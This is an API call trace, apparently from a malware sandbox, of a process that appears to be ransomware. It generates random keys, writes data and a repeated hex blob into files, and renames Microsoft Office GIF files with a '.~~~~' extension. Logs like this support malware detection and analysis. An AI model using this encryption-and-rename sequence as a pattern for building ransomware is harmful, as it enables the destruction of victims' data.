	[0127.809] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0127.809] WriteFile (in: hFile=0x128, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0127.810] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0127.810] WriteFile (in: hFile=0x128, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0127.810] CloseHandle (hObject=0x128) returned 1
	[0127.810] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e74f8
	[0127.810] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15021_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd15021_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15021_.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd15021_.gif.~~~~")) returned 1
	[0127.919] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e74f8 | out: hHeap=0x300000) returned 1
	[0127.919] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0127.920] GetLastError () returned 0x0
	[0127.939] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x3a0048) returned 1
	[0127.940] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362c70 | out: pbBuffer=0x362c70) returned 1
	[0127.940] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0127.940] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362c70 | out: hHeap=0x300000) returned 1
	[0127.940] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0127.940] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0127.940] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=24793062215) returned 1
	[0127.941] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xb5b52e30, dwHighDateTime=0x1d60e1e)) 
	[0127.941] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0127.941] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0127.941] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0127.941] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2a480c8
	[0127.941] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0127.941] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a480c8 | out: hHeap=0x300000) returned 1
	[0127.941] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x2a4f1b8
	[0127.941] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0127.941] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3f1f48
	[0127.941] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a4f1b8 | out: hHeap=0x300000) returned 1
	[0127.941] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3bc9f8
	[0127.942] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3f1f48 | out: hHeap=0x300000) returned 1
	[0127.942] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0127.942] GetLastError () returned 0x0
	[0127.942] GetLastError () returned 0x0
	[0127.942] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0127.942] GetLastError () returned 0x0
	[0127.942] GetLastError () returned 0x0
	[0127.944] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0xffffff50, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0127.944] WriteFile (in: hFile=0x13c, lpBuffer=0x28e4048*, nNumberOfBytesToWrite=0xb0, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e4048*, lpNumberOfBytesWritten=0x24dfec0*=0xb0, lpOverlapped=0x0) returned 1
	[0127.947] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e4048 | out: hHeap=0x300000) returned 1
	[0127.947] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0127.947] WriteFile (in: hFile=0x13c, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0127.947] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0127.947] WriteFile (in: hFile=0x13c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0127.948] CloseHandle (hObject=0x13c) returned 1
	[0127.948] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3f1f48
	[0127.948] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15133_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd15133_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15133_.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd15133_.gif.~~~~")) returned 1
	[0127.951] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3f1f48 | out: hHeap=0x300000) returned 1
	[0127.951] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0127.951] GetLastError () returned 0x0
	[0127.951] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x3a0048) returned 1
	[0127.953] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362c70 | out: pbBuffer=0x362c70) returned 1
	[0127.953] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0127.953] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362c70 | out: hHeap=0x300000) returned 1
	[0127.953] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0127.953] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0127.953] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=24794309562) returned 1
	[0127.953] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xb5b78f90, dwHighDateTime=0x1d60e1e)) 
	[0127.953] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0127.953] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0127.953] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0127.953] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3a6550
	[0127.953] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0127.954] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a6550 | out: hHeap=0x300000) returned 1
	[0127.954] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x2a4f1b8
	[0127.954] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0127.954] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x38e688
	[0127.954] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a4f1b8 | out: hHeap=0x300000) returned 1
	[0127.954] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3bc9f8
	[0127.954] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x38e688 | out: hHeap=0x300000) returned 1
	[0127.954] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0127.954] GetLastError () returned 0x0
	[0127.954] GetLastError () returned 0x0
	[0127.955] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0127.955] GetLastError () returned 0x0
	[0127.955] GetLastError () returned 0x0
	[0127.956] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0xffffff4f, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0127.957] WriteFile (in: hFile=0x13c, lpBuffer=0x28e4048*, nNumberOfBytesToWrite=0xb1, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e4048*, lpNumberOfBytesWritten=0x24dfec0*=0xb1, lpOverlapped=0x0) returned 1
	[0127.959] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e4048 | out: hHeap=0x300000) returned 1
	[0127.959] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0127.959] WriteFile (in: hFile=0x13c, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0127.959] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0127.959] WriteFile (in: hFile=0x13c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0127.959] CloseHandle (hObject=0x13c) returned 1
	[0127.959] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x38e688
	[0127.960] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15134_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd15134_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15134_.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd15134_.gif.~~~~")) returned 1
	[0127.962] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x38e688 | out: hHeap=0x300000) returned 1
	[0127.962] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0127.962] GetLastError () returned 0x0
	[0127.962] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x3a0048) returned 1
	[0127.964] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362c70 | out: pbBuffer=0x362c70) returned 1
	[0127.964] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0127.964] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362c70 | out: hHeap=0x300000) returned 1
	[0127.964] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0127.964] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0127.964] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=24795433321) returned 1
	[0127.964] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xb5b9f0f0, dwHighDateTime=0x1d60e1e)) 
	[0127.964] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0127.964] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0127.965] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0127.965] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3a6588
	[0127.965] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0127.965] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a6588 | out: hHeap=0x300000) returned 1
	[0127.965] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x2a4f1b8
	[0127.965] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0127.965] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x38e7d8
	[0127.965] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a4f1b8 | out: hHeap=0x300000) returned 1
	[0127.965] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3bc9f8
	[0127.965] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x38e7d8 | out: hHeap=0x300000) returned 1
	[0127.965] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0127.965] GetLastError () returned 0x0
	[0127.966] GetLastError () returned 0x0
	[0127.966] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0127.966] GetLastError () returned 0x0
	[0127.966] GetLastError () returned 0x0
	[0127.967] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0xffffff51, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0127.967] WriteFile (in: hFile=0x13c, lpBuffer=0x28e4048*, nNumberOfBytesToWrite=0xaf, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e4048*, lpNumberOfBytesWritten=0x24dfec0*=0xaf, lpOverlapped=0x0) returned 1
	[0127.970] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e4048 | out: hHeap=0x300000) returned 1
	[0127.970] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0127.970] WriteFile (in: hFile=0x13c, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0127.970] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0127.970] WriteFile (in: hFile=0x13c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0127.970] CloseHandle (hObject=0x13c) returned 1
	[0127.970] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x38e7d8
	[0127.970] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15135_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd15135_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15135_.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd15135_.gif.~~~~")) returned 1
	[0127.980] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x38e7d8 | out: hHeap=0x300000) returned 1
	[0127.980] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0127.980] GetLastError () returned 0x0
	[0127.981] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x3a0048) returned 1
	[0127.982] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362c70 | out: pbBuffer=0x362c70) returned 1
	[0127.982] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0127.982] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362c70 | out: hHeap=0x300000) returned 1
	[0127.982] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0127.982] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0127.982] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=24797240000) returned 1
	[0127.982] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xb5bc5250, dwHighDateTime=0x1d60e1e)) 
	[0127.982] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0127.982] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0127.982] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0127.983] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3a65c0
	[0127.983] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0127.983] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a65c0 | out: hHeap=0x300000) returned 1
	[0127.983] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x2a4f2a8
	[0127.983] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0127.983] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x38e880
	[0127.983] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a4f2a8 | out: hHeap=0x300000) returned 1
	[0127.983] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3bc9f8
	[0127.983] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x38e880 | out: hHeap=0x300000) returned 1
	[0127.983] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0127.983] GetLastError () returned 0x0
	[0127.983] GetLastError () returned 0x0
	[0127.984] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0127.984] GetLastError () returned 0x0
	[0127.984] GetLastError () returned 0x0
	[0127.987] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0xffffff51, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0127.988] WriteFile (in: hFile=0x13c, lpBuffer=0x28e4048*, nNumberOfBytesToWrite=0xaf, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e4048*, lpNumberOfBytesWritten=0x24dfec0*=0xaf, lpOverlapped=0x0) returned 1
	[0127.989] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e4048 | out: hHeap=0x300000) returned 1
	[0127.989] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0127.990] WriteFile (in: hFile=0x13c, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0127.990] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0127.990] WriteFile (in: hFile=0x13c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0127.990] CloseHandle (hObject=0x13c) returned 1
	[0127.990] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x38e880
	[0127.990] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15136_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd15136_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15136_.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd15136_.gif.~~~~")) returned 1
	[0127.992] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x38e880 | out: hHeap=0x300000) returned 1
	[0127.992] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0127.992] GetLastError () returned 0x0
	[0127.993] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x3a0048) returned 1
	[0127.994] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362c70 | out: pbBuffer=0x362c70) returned 1
	[0127.994] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0127.994] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362c70 | out: hHeap=0x300000) returned 1
	[0127.994] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0127.994] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0127.994] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=24798407463) returned 1
	[0127.994] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xb5beb3b0, dwHighDateTime=0x1d60e1e)) 
	[0127.994] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0127.994] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0127.994] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0127.994] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3a65f8
	[0127.994] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0127.994] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a65f8 | out: hHeap=0x300000) returned 1
	[0127.994] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x2a4f2a8
	[0127.994] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0127.994] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x38e928
	[0127.995] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a4f2a8 | out: hHeap=0x300000) returned 1
	[0127.995] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3bc9f8
	[0127.995] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x38e928 | out: hHeap=0x300000) returned 1
	[0127.995] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0127.995] GetLastError () returned 0x0
	[0127.995] GetLastError () returned 0x0
	[0127.995] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0127.995] GetLastError () returned 0x0
	[0127.995] GetLastError () returned 0x0
